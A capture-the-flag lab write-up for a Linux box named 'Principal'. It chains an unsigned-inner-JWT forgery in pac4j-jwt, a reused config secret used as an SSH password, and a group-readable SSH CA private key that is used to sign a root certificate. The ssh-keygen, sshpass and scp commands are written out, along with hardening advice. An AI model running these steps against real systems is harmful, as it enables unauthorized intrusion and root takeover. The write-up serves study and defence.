Summary
Principal is a Linux box whose entire compromise chain hinges on a single, very modern misconception: that confidentiality and authenticity are interchangeable in JOSE. The target ran a Jetty-hosted web application on TCP 8080 that proudly advertised X-Powered-By: pac4j-jwt/6.0.3. That version is affected by CVE-2026-29000, a flaw where pac4j accepts a JWE-wrapped unsigned inner JWT and silently skips signature verification. Because the JWE is RSA-OAEP-256 encrypted with a public key that the application willingly publishes at /api/auth/jwks, anyone on the internet can mint a valid-looking admin token against this server.
With the forged admin token in hand, the attacker can hit /api/dashboard, /api/users, and most importantly /api/settings. The settings endpoint reveals two facts that drive the rest of the chain. First, the svc-deploy service account exists and is documented as a deployment account that uses SSH certificate authentication. Second, an encryptionKey value is stored in plaintext in the application configuration. That same value, by extremely poor operational hygiene, is also the SSH password for svc-deploy. Logging in as svc-deploy lands a normal user shell and access to /home/svc-deploy/user.txt.
The path to root is then a textbook misuse of OpenSSH’s certificate authentication features. The service account belongs to the deployers Unix group, which has read access to /opt/principal/ssh/ca — the SSH CA private key. The host’s sshd is configured with TrustedUserCAKeys /opt/principal/ssh/ca.pub but no AuthorizedPrincipalsFile or AuthorizedPrincipalsCommand. In that configuration sshd accepts any certificate signed by the trusted CA whose listed principals include the target login user. Signing a fresh ed25519 keypair with principal root and presenting the resulting cert is sufficient to log in as root.
The whole chain is interesting because each stage represents a “configuration is not policy” failure. The library was patched upstream but not on this host. The plaintext config value was never meant to be a credential but became one. The CA was meant to be operated by privileged automation but its private half was readable by an application service group. Each individual misstep is small; chained, they go from unauthenticated HTTP to root.
A useful mental model for studying this box: every stage has a primary control and a fallback control that should have stopped the attacker if the primary failed. At the foothold, the primary control is the inner JWT signature; the fallback would be a runtime verifier that rejects unsigned inner tokens regardless of what the library does. At credential disclosure, the primary control is keeping encryptionKey out of an admin response; the fallback is not reusing that value as a Linux password. At privilege escalation, the primary control is making the CA private key unreadable to non-root groups; the fallback is AuthorizedPrincipalsFile. On Principal, both layers are missing at every stage. That is what makes the chain feel inevitable.
Recon
The host responded to ICMP with TTL 63, which is consistent with a Linux target one hop away on the lab network. A full TCP scan with nmap returned only two interesting ports.
nmap -p- --min-rate 5000 -Pn -oA scans/allports <TARGET>
nmap -sC -sV -p22,8080 -Pn -oA scans/tcp-services <TARGET>
The service scan identified an OpenSSH 9.6p1 daemon on 22 and a Jetty HTTP service on 8080. The HTTP banner immediately disclosed the framework and version that drives the rest of the engagement.
22/tcp OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
8080/tcp Jetty
X-Powered-By: pac4j-jwt/6.0.3
http-title: Principal Internal Platform - Login
The UDP top-ports sweep returned only DHCP-class noise and was not a useful avenue. Two takeaways from recon are worth pinning to the wall before touching the application: the framework is pac4j-jwt at version 6.0.3, and the SSH daemon is recent and properly patched, so any path to root is going to come from configuration, not an SSH CVE.
Web enumeration
The web root redirected to /login. The login page is a single-page application backed by a small JavaScript bundle. Reading the bundle is by far the fastest way to enumerate API surface on JS-served apps; it is almost always faster than directory fuzzing because the legitimate frontend has already done the discovery for you. In /static/js/app.js the following endpoints and JOSE parameters were declared in plain comments and string literals:
/api/auth/login/api/auth/jwks/api/dashboard/api/users/api/settings- JWE algorithm
RSA-OAEP-256 - JWE content encryption
A128GCM - Inner JWT
algclaim expectation:RS256 - Roles:
ROLE_ADMIN,ROLE_MANAGER,ROLE_USER
The JWKS endpoint at /api/auth/jwks returned a JSON Web Key Set containing an RSA public key. A public JWKS is normal for OAuth/OIDC-style flows; the public encryption key is published deliberately so clients can encrypt JWEs to the server. What was not normal is what the server did with the inner content of those JWEs.
curl -sS http://<TARGET>:8080/api/auth/jwks | tee recon/jwks.json | jq .
A short fuzz run after the foothold confirmed that no other interesting paths existed beyond the documented API and the framework error pages, so reading the JS bundle was the right call.
Foothold — CVE-2026-29000 admin token forgery
The vulnerability in pac4j-jwt 6.0.3 is a JOSE confusion bug. The framework expects an authenticated session token to be a JWE (encrypted) whose plaintext is a signed JWT (alg=RS256). In other words it expects nested JOSE: encrypt-then-sign was reversed in this design and the inner signature is what carries authenticity. The bug is that, for tokens it can decrypt, pac4j 6.0.3 accepts the inner JWT even when it is unsigned (alg=none or simply missing the signature segment). The signature verification path is silently skipped.
Conceptually this is a classic confidentiality-vs-authenticity confusion. JWE proves only that the holder of the matching RSA private key produced the inner plaintext — but the matching key here is the server’s own RSA-OAEP-256 encryption key, whose public half the server publishes at /api/auth/jwks. Anyone who can fetch the JWKS can encrypt to the server. Encrypting to a public key proves nothing about the encryptor’s identity. Once the inner-JWT signature check is skipped, the public encryption key effectively becomes an authentication oracle: encrypt whatever claims you like, and the server will both decrypt and trust them.
The forgery script in the engagement notes (exploit/forge_pac4j_jwe.py) does three things. It pulls the RSA public key from /api/auth/jwks. It builds an unsigned JWT with the claims the application looks for: sub and username set to admin, role set to ROLE_ADMIN, iss set to principal-platform, and short-lived iat/exp timestamps. It then wraps that unsigned JWT in a JWE using RSA-OAEP-256 for key wrap and A128GCM for content encryption — the exact pair the JS bundle declared.
chmod +x exploit/forge_pac4j_jwe.py
./exploit/forge_pac4j_jwe.py | tee loot/admin.jwe.stdout
TOKEN=$(tr -d '\n' < loot/admin.jwe)
curl -i -sS -H "Authorization: Bearer $TOKEN" http://<TARGET>:8080/api/dashboard
curl -i -sS -H "Authorization: Bearer $TOKEN" http://<TARGET>:8080/api/users
curl -i -sS -H "Authorization: Bearer $TOKEN" http://<TARGET>:8080/api/settings
The three protected endpoints returned 200 and responded as if the caller were admin with ROLE_ADMIN. No real authentication ever happened.
It is worth pausing on what the attacker actually possessed at the moment of forgery. They had the server’s public RSA-OAEP-256 wrapping key, fetched from a deliberately public endpoint. They had no signing key, no shared secret, and no leaked credentials. The only “vulnerability material” in their hands was information the server was designed to publish. Everything else — the role string, the issuer, the subject — was guessed from convention and confirmed by reading the JS bundle. This is what makes JOSE confusion bugs so dangerous in practice: the asymmetry is on the wrong side. The server’s public key is meant to make the channel safer for legitimate clients, but a single missing signature check inverts it into the attacker’s most useful tool.
Credential disclosure
/api/users returned a short user list including a service account whose note made the rest of the engagement obvious:
{
"username": "svc-deploy",
"note": "Service account for automated deployments via SSH certificate auth.",
"role": "deployer"
}
The phrase “SSH certificate auth” is a strong hint that the host uses TrustedUserCAKeys for sshd, which becomes critical for privilege escalation. /api/settings then disclosed the configuration values that drive deployment automation:
{
"infrastructure": {
"sshCaPath": "/opt/principal/ssh/",
"sshCertAuth": "enabled"
},
"security": {
"authFramework": "pac4j-jwt",
"authFrameworkVersion": "6.0.3",
"encryptionKey": "<encryptionKey-value>"
}
}
encryptionKey is the kind of label a developer reads as “internal cryptographic material” — a key for encrypting at rest, a HMAC secret, anything but a login password. In practice it had been provisioned a second time as the Linux password for svc-deploy. Trying configuration values as credentials elsewhere is a habit worth building, because reuse like this is extremely common and almost never appears in any threat model.
sshpass -p '<password>' ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=./ssh_known_hosts \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
svc-deploy@<TARGET> 'id; hostname'
The session landed cleanly:
uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
principal
The deployers group membership is the important detail. It is the only thing that makes the privilege escalation work. A useful habit at this point is to immediately run id, groups, and find / -group <each-group> -perm -040 2>/dev/null for every supplementary group, before doing anything else. The deployers group existed for a reason, and on a deployment-automation host that reason was almost guaranteed to involve either keys, build artefacts, or service control — all of which are common paths to root. Group membership on a service account is rarely cosmetic.
User flag
The user flag belonged to svc-deploy directly:
sshpass -p '<password>' ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=./ssh_known_hosts \
svc-deploy@<TARGET> \
'find /home -maxdepth 3 -type f -name user.txt -print -exec cat {} \; 2>/dev/null'
The flag file was at /home/svc-deploy/user.txt.
Privilege escalation — readable SSH CA private key
Listing /opt/principal/ssh from the svc-deploy shell revealed the layout that is the heart of this box:
drwxr-x--- root deployers /opt/principal/ssh
-rw-r----- root deployers /opt/principal/ssh/README.txt
-rw-r----- root deployers /opt/principal/ssh/ca
-rw-r--r-- root root /opt/principal/ssh/ca.pub
The directory is owned by root:deployers with mode 0750. Inside it, ca (the CA private key) and README.txt are mode 0640, owned by root:deployers. ca.pub is world-readable, as a public key should be. The README itself confirmed intent:
CA keypair for SSH certificate automation.
This CA is trusted by sshd for certificate-based authentication.
Use deploy.sh to issue short-lived certificates for service accounts.
That is the smoking gun. A user account that reads /opt/principal/ssh/ca can sign certificates that sshd will accept. The next question is exactly what those certificates are allowed to assert. The drop-in sshd config makes that clear:
grep -R "TrustedUserCAKeys\|AuthorizedPrincipals\|PubkeyAuthentication" \
/etc/ssh /etc/ssh/sshd_config.d 2>/dev/null
The relevant lines:
/etc/ssh/sshd_config.d/60-principal.conf:PubkeyAuthentication yes
/etc/ssh/sshd_config.d/60-principal.conf:TrustedUserCAKeys /opt/principal/ssh/ca.pub
There is no AuthorizedPrincipalsFile. There is no AuthorizedPrincipalsCommand. Under OpenSSH semantics, when TrustedUserCAKeys is set and no per-user principals constraint is configured, sshd accepts any certificate signed by the trusted CA whose listed principals include the target login user. There is no allowlist beyond the CA’s own signature. That makes the readable CA private key equivalent to a master key for every local account on the host, including root.
To be concrete about the OpenSSH semantics here: when sshd authenticates a user with a certificate, it walks the certificate’s principals list and asks “does this list include the username the client is trying to log in as?”. If AuthorizedPrincipalsFile is set, that file’s contents further restrict which principals are acceptable for the target account. If it is not set, sshd’s fallback rule is to accept any principal that matches the username verbatim. The CA’s signature is the only remaining guarantee, and on this host that signature is forgeable by anyone in the deployers group.
The exploitation steps follow directly. Pull the CA private key down, generate a fresh ed25519 keypair, and sign a certificate whose principal is root:
sshpass -p '<password>' scp \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=./ssh_known_hosts \
svc-deploy@<TARGET>:/opt/principal/ssh/ca loot/ca
sshpass -p '<password>' scp \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=./ssh_known_hosts \
svc-deploy@<TARGET>:/opt/principal/ssh/ca.pub loot/ca.pub
chmod 600 loot/ca
ssh-keygen -t ed25519 -f loot/root_key -N '' -C root-cert-test
ssh-keygen -s loot/ca -I "rk-$(date +%s)" -n root -V +2h loot/root_key.pub
ssh-keygen -Lf loot/root_key-cert.pub
ssh-keygen -L confirmed the certificate listed root as its only principal. Logging in then required only pointing ssh at the keypair and the certificate file:
ssh -i loot/root_key \
-o CertificateFile=loot/root_key-cert.pub \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=./ssh_known_hosts \
-o IdentitiesOnly=yes \
root@<TARGET> 'id; hostname; cat /root/root.txt'
The session opened as uid=0(root) and /root/root.txt was readable.
Two operational details are worth highlighting for study purposes. First, the -V +2h flag bounds the certificate’s validity to two hours, which is best practice for short-lived credentials and also makes the resulting cert less of a forensic liability for the attacker. Second, the -I identifier is logged by sshd along with the certificate’s serial number and key fingerprint, so a defender reviewing logs after the fact can usually correlate which CA-signed certificate was used for a given login. Sloppy attackers leave very identifiable strings here; defensive readers should look for Accepted publickey for root lines paired with unfamiliar certificate identifiers in /var/log/auth.log.
Why each step worked
The first step worked because the application leaked its own framework name and version in an HTTP header. X-Powered-By: pac4j-jwt/6.0.3 is exactly the kind of banner that maps directly to a CVE feed. The standing rule for any web target is to record framework-and-version banners early and grep them against known vulnerability data; these two strings determined the entire foothold strategy on this box.
The second step worked because pac4j 6.0.3 conflated confidentiality with authenticity in its JOSE handling. JWE proves only that somebody who knows the recipient’s public encryption key produced the encrypted payload. The recipient publishes that public key on purpose so clients can encrypt to it. Authenticity in this design is supposed to come from the inner JWT signature (alg=RS256). When that inner check is skipped, the public encryption key becomes an authentication oracle: anyone can produce a JWE the server will both decrypt and trust. Reviewing JOSE flows means asking, separately and explicitly, “where does authenticity come from?” and “where does confidentiality come from?” — and not letting one stand in for the other.
The third step worked because the application’s encryptionKey configuration value was reused as the SSH password for svc-deploy. There is nothing in the configuration’s name or location that suggests it is a Linux password, which is exactly why secret reuse like this rarely shows up in design reviews. Operationally the rule is simple: any plaintext config value worth the label “secret” or “key” should be tried as a credential against any account on the same host before discarding it.
The final step worked because TrustedUserCAKeys was in effect with no AuthorizedPrincipalsFile. In that configuration, sshd’s only constraint on who a certificate can log in as is the certificate’s listed principal. The CA private key was readable by a non-root group, and a member of that group could therefore sign a certificate naming any local user, root included. The protection that should have been in place — a per-user allowlist of certificate principals, written to a root-owned file — was simply missing.
Counterfactuals
If password authentication were disabled on sshd entirely, the encryptionKey reuse would not have produced a shell. The web compromise would still happen, but the chain would stall at credential disclosure unless another reused secret were available. A small change in sshd_config (PasswordAuthentication no) is enough to cut the bridge between web and host.
If AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u were configured with a per-user allowlist, the readable CA private key would not be sufficient. To log in as root, the attacker would also need to write into /etc/ssh/auth_principals/root, which is root-owned and not reachable from svc-deploy. The certificate’s principal claim would be checked against that allowlist and rejected. This is the canonical hardening for SSH CA deployments and it should be considered mandatory whenever TrustedUserCAKeys is set.
If pac4j were patched to a fixed version, or wrapped with a custom verifier that rejects inner JWTs whose alg is none or whose signature segment is missing, no amount of public-key fishing through the JWKS would yield an admin token. The whole foothold collapses. As a defensive habit, JOSE flows should always be tested both against unsigned tokens and against signed-but-encrypted tokens whose inner signature is corrupted, to confirm that authenticity is enforced independently of confidentiality.
If the same value were not reused as both encryptionKey and a Linux password, the chain would also break at credential disclosure. Operationally, configuration secrets must never be provisioned a second time as login credentials. The lifecycle and rotation policy of a config secret is unrelated to the lifecycle of a Linux account, and overlapping the two creates exactly the cross-domain reuse exploited here.
Key Takeaways
X-Powered-By: <library>/<version> is one of the highest-value lines in any HTTP response. On this box it pointed straight at CVE-2026-29000. Always note framework and version banners and check them against CVE feeds before doing anything else.
JWE confidentiality is not the same as JWT authenticity. Encrypting to a server’s public key proves nothing about who encrypted. In nested JOSE flows, the inner signature is the authenticity boundary, and any code path that skips it turns the publicly advertised encryption key into an authentication oracle. Audit JOSE flows by treating signature and encryption as completely independent guarantees.
Reusing one secret for two purposes — encryptionKey in an application config and an SSH password for a service account — is a credential-mishandling smell that almost never appears in formal threat modelling. As an attacker, always test settings and config values as credentials against any account on the same host. As a defender, never provision a config value a second time as a Linux password.
TrustedUserCAKeys without AuthorizedPrincipalsFile is administratively equivalent to giving every reader of the CA private key a master key to all local users. If a host uses SSH CA authentication, an AuthorizedPrincipalsFile (or an AuthorizedPrincipalsCommand) is mandatory, the CA private key must live on a hardened signing host (or HSM) rather than on the same host that trusts it, and group read access to that key must be treated as equivalent to group write access to /root.
Finally, on JS-served applications, read the JS bundle for endpoints. The legitimate frontend has already enumerated its own API surface, complete with the JOSE parameters needed to mint forged tokens. That is almost always a faster path than directory fuzzing, and on this box it was the difference between a minimum-recon four-minute compromise and an afternoon of wordlist work.